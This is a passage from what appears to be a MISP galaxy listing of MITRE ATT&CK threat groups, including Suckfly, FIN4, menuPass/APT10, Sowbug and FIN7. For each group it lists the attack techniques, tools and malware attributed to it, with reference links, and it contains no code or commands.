- uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="at - S0110" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="External Remote Services - T1133" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Security Account Manager - T1003.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Data Staging - T1074.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="Windows Credential Editor - S0005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="ipconfig - S0100" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Code Signing - T1553.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exploit Public-Facing Application - T1190" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="China Chopper - S0020" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Shell - T1505.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Server - T1583.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="BlackMould - S0564" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="PlugX - S0013" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="External Proxy - T1090.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Domain Account - T1136.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Tool - T1588.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="Mimikatz - S0002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Indicator Removal from Tools - T1027.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="PoisonIvy - S0012" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="NBTscan - S0590" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="Ping - S0097" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="cmd - S0106" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Rename System Utilities - T1036.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Lateral Tool Transfer - T1570" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="Reg - S0075" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="HTRAN - S0040" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1027.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Pass the Hash - T1550.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="DLL Side-Loading - T1574.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="PsExec - S0029" with estimative-language:likelihood-probability="almost-certain"

Table 5087. Table References

Links
https://attack.mitre.org/groups/G0093
https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers
https://www.microsoft.com/security/blog/2019/12/12/gallium-targeting-global-telecom/

Suckfly - G0039

[Suckfly](https://attack.mitre.org/groups/G0039) is a China-based threat group that has been active since at least 2014. (Citation: Symantec Suckfly March 2016)

The tag is: *misp-galaxy:mitre-intrusion-set="Suckfly - G0039"*

Suckfly - G0039 is also known as:

- Suckfly

View relationships graph

Suckfly - G0039 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="OS Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Code Signing - T1553.002" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:threat-actor="APT22" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-malware="Nidiran - S0118" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Network Service Discovery - T1046" with estimative-language:likelihood-probability="almost-certain"

Table 5088. Table References

Links
http://www.symantec.com/connect/blogs/indian-organizations-targeted-suckfly-attacks
http://www.symantec.com/connect/blogs/suckfly-revealing-secret-life-your-code-signing-certificates
https://attack.mitre.org/groups/G0039

FIN4 - G0085

[FIN4](https://attack.mitre.org/groups/G0085) is a financially-motivated threat group that has targeted confidential information related to the public financial market, particularly regarding healthcare and pharmaceutical companies, since at least 2013.(Citation: FireEye Hacking FIN4 Dec 2014)(Citation: FireEye FIN4 Stealing Insider NOV 2014) [FIN4](https://attack.mitre.org/groups/G0085) is unique in that they do not infect victims with typical persistent malware, but rather they focus on capturing credentials authorized to access email and other non-public correspondence.(Citation: FireEye Hacking FIN4 Dec 2014)(Citation: FireEye Hacking FIN4 Video Dec 2014)

The tag is: *misp-galaxy:mitre-intrusion-set="FIN4 - G0085"*

FIN4 - G0085 is also known as:

- FIN4

View relationships graph

FIN4 - G0085 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Email Hiding Rules - T1564.008" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Link - T1566.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="GUI Input Capture - T1056.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Multi-hop Proxy - T1090.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Remote Email Collection - T1114.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malicious Link - T1204.001" with estimative-language:likelihood-probability="almost-certain"

Table 5089. Table References

Links
https://attack.mitre.org/groups/G0085
https://www.fireeye.com/blog/threat-research/2014/11/fin4_stealing_insid.html
https://www.fireeye.com/current-threats/threat-intelligence-reports/rpt-fin4.html
https://www2.fireeye.com/WBNR-14Q4NAMFIN4.html

menuPass - G0045

[menuPass](https://attack.mitre.org/groups/G0045) is a threat group that has been active since at least 2006. Individual members of [menuPass](https://attack.mitre.org/groups/G0045) are known to have acted in association with the Chinese Ministry of State Security's (MSS) Tianjin State Security Bureau and worked for the Huaying Haitai Science and Technology Development Company.(Citation: DOJ APT10 Dec 2018)(Citation: District Court of NY APT10 Indictment December 2018)

[menuPass](https://attack.mitre.org/groups/G0045) has targeted healthcare, defense, aerospace, finance, maritime, biotechnology, energy, and government sectors globally, with an emphasis on Japanese organizations. In 2016 and 2017, the group is known to have targeted managed IT service providers (MSPs), manufacturing and mining companies, and a university.(Citation: Palo Alto menuPass Feb 2017)(Citation: Crowdstrike CrowdCast Oct 2013)(Citation: FireEye Poison Ivy)(Citation: PWC Cloud Hopper April 2017)(Citation: FireEye APT10 April 2017)(Citation: DOJ APT10 Dec 2018)(Citation: District Court of NY APT10 Indictment December 2018)

The tag is: *misp-galaxy:mitre-intrusion-set="menuPass - G0045"*

menuPass - G0045 is also known as:

- menuPass
- Cicada
- POTASSIUM
- Stone Panda
- APT10
- Red Apollo
- CVNX
- HOGFISH

View relationships graph

menuPass - G0045 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Archive via Utility - T1560.001" with estimative-

language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="Net - S0039" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="certutil - S0160" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="PowerSploit - S0194" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Security Account Manager - T1003.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="RedLeaves - S0153" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Data Staging - T1074.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="LSA Secrets - T1003.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Domain Account - T1087.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="Impacket - S0357" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="Ecipekac - S0624" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Fast Flux DNS - T1568.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="InstallUtil - T1218.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="SSH - T1021.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="EvilGrab - S0152" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="DLL Search Order Hijacking - T1574.001" with

estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Automated Collection - T1119" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="SNUGRIDE - S0159" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Code Signing - T1553.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Remote Data Staging - T1074.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Clear Command History - T1070.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exploit Public-Facing Application - T1190" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Domains - T1583.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="FYAnti - S0628" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Archive Collected Data - T1560" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:threat-actor="APT10" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-malware="PlugX - S0013" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="External Proxy - T1090.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="P8RAT - S0626" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with

estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-malware="SodaMaster - S0627" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exploitation of Remote Services - T1210" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="pwdump - S0006" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Trusted Relationship - T1199" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Tool - T1588.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="Cobalt Strike - S0154" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Network Shared Drive - T1039" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="Mimikatz - S0002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Hollowing - T1055.012" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="PoisonIvy - S0012" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="Ping - S0097" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="cmd - S0106" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Rename System Utilities - T1036.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="esentutl - S0404" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="QuasarRAT - S0262" with estimative-language:likelihood-

probability="almost-certain"

- uses: misp-galaxy:mitre-malware="ChChes - S0144" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Network Service Discovery - T1046" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="DLL Side-Loading - T1574.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1021.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="NTDS - T1003.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="AdFind - S0552" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="UPPERCUT - S0275" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="PsExec - S0029" with estimative-language:likelihood-probability="almost-certain"

Table 5090. Table References

Links
http://researchcenter.paloaltonetworks.com/2017/02/unit42-menupass-returns-new-malware-new-attacks-japanese-academics-organizations/
https://attack.mitre.org/groups/G0045
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/cicada-apt10-japan-espionage
https://www.accenture.com/t20180423T055005Z_w_/se-en/acnmedia/PDF-76/Accenture-Hogfish-Threat-Analysis.pdf[https://www.accenture.com/t20180423T055005Z_w/se-en/_acnmedia/PDF-76/Accenture-Hogfish-Threat-Analysis.pdf]
https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html
https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html
https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-poison-ivy.pdf
https://www.justice.gov/opa/page/file/1122671/download
https://www.justice.gov/opa/pr/two-chinese-hackers-associated-ministry-state-security-charged-global-computer-intrusion

https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-report-final-v4.pdf
https://www.slideshare.net/CrowdStrike/crowd-casts-monthly-you-have-an-adversary-problem

Sowbug - G0054

[Sowbug](https://attack.mitre.org/groups/G0054) is a threat group that has conducted targeted attacks against organizations in South America and Southeast Asia, particularly government entities, since at least 2015. (Citation: Symantec Sowbug Nov 2017)

The tag is: *misp-galaxy:mitre-intrusion-set="Sowbug - G0054"*

Sowbug - G0054 is also known as:

- Sowbug

View relationships graph

Sowbug - G0054 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Archive via Utility - T1560.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="OS Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="Felismus - S0171" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:threat-actor="Sowbug" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Network Share Discovery - T1135" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="Starloader - S0188" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Network Shared Drive - T1039" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"

Table 5091. Table References

Links
https://attack.mitre.org/groups/G0054
https://www.symantec.com/connect/blogs/sowbug-cyber-espionage-group-targets-south-american-and-southeast-asian-governments

FIN7 - G0046

[FIN7](https://attack.mitre.org/groups/G0046) is a financially-motivated threat group that has been active since 2013 primarily targeting the U.S. retail, restaurant, and hospitality sectors, often using point-of-sale malware. A portion of [FIN7](https://attack.mitre.org/groups/G0046) was run out of a front company called Combi Security. Since 2020 [FIN7](https://attack.mitre.org/groups/G0046) shifted operations to a big game hunting (BGH) approach including use of [REvil](https://attack.mitre.org/software/S0496) ransomware and their own Ransomware as a Service (RaaS), Darkside. [FIN7](https://attack.mitre.org/groups/G0046) may be linked to the [Carbanak](https://attack.mitre.org/groups/G0008) Group, but there appears to be several groups using [Carbanak](https://attack.mitre.org/software/S0030) malware and are therefore tracked separately.(Citation: FireEye FIN7 March 2017)(Citation: FireEye FIN7 April 2017)(Citation: FireEye CARBANAK June 2017)(Citation: FireEye FIN7 Aug 2018)(Citation: CrowdStrike Carbon Spider August 2021)

The tag is: *misp-galaxy:mitre-intrusion-set="FIN7 - G0046"*

FIN7 - G0046 is also known as:

- FIN7
- GOLD NIAGARA
- ITG14
- Carbon Spider

View relationships graph

FIN7 - G0046 has relationships with:

- similar: misp-galaxy:threat-actor="FIN7" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="VNC - T1021.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-malware="GRIFFON - S0417" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="RDFSNIFFER - S0416" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="HALFBAKED - S0151" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="JavaScript - T1059.007" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="PowerSploit - S0194" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="POWERSOURCE - S0145" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="DNS - T1071.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malware - T1587.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Dynamic Data Exchange - T1559.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Link - T1566.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="SSH - T1021.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Code Signing - T1553.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Replication Through Removable Media - T1091" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Domains - T1583.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Application Shimming - T1546.011" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-malware="TEXTMATE - S0146" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="BOOSTWRITE - S0415" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Video Capture - T1125" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="Carbanak - S0030" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Masquerade Task or Service - T1036.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Mshta - T1218.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="SQLRat - S0390" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="User Activity Based Checks - T1497.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exploitation of Remote Services - T1210" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="Cobalt Strike - S0154" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="REvil - S0496" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="Mimikatz - S0002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Non-Standard Port - T1571" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1486" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="Pillowmint - S0517" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Bidirectional Communication - T1102.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration to Cloud Storage - T1567.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="CrackMapExec - S0488" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1021.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malicious Link - T1204.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Fallback Channels - T1008" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Kerberoasting - T1558.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="JSS Loader - S0648" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="AdFind - S0552" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="Lizar - S0681" with estimative-language:likelihood-probability="almost-certain"

Table 5092. Table References

Links
http://blog.morphisec.com/fin7-attacks-restaurant-industry
https://attack.mitre.org/groups/G0046
https://securityintelligence.com/posts/ransomware-2020-attack-trends-new-techniques-affecting-organizations-worldwide/
https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-1/
https://www.fireeye.com/blog/threat-research/2017/03/fin7_spear_phishing.html
https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html
https://www.fireeye.com/blog/threat-research/2017/05/fin7-shim-databases-persistence.html
https://www.fireeye.com/blog/threat-research/2017/06/behind-the-carbanak-backdoor.html

https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html
https://www.secureworks.com/research/threat-profiles/gold-niagara

Gallmaker - G0084

[Gallmaker](https://attack.mitre.org/groups/G0084) is a cyberespionage group that has targeted victims in the Middle East and has been active since at least December 2017. The group has mainly targeted victims in the defense, military, and government sectors.(Citation: Symantec Gallmaker Oct 2018)

The tag is: *misp-galaxy:mitre-intrusion-set="Gallmaker - G0084"*

Gallmaker - G0084 is also known as:

- Gallmaker

View relationships graph

Gallmaker - G0084 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Archive via Utility - T1560.001" with estimative-language:likelihood-probability="almost-certain"
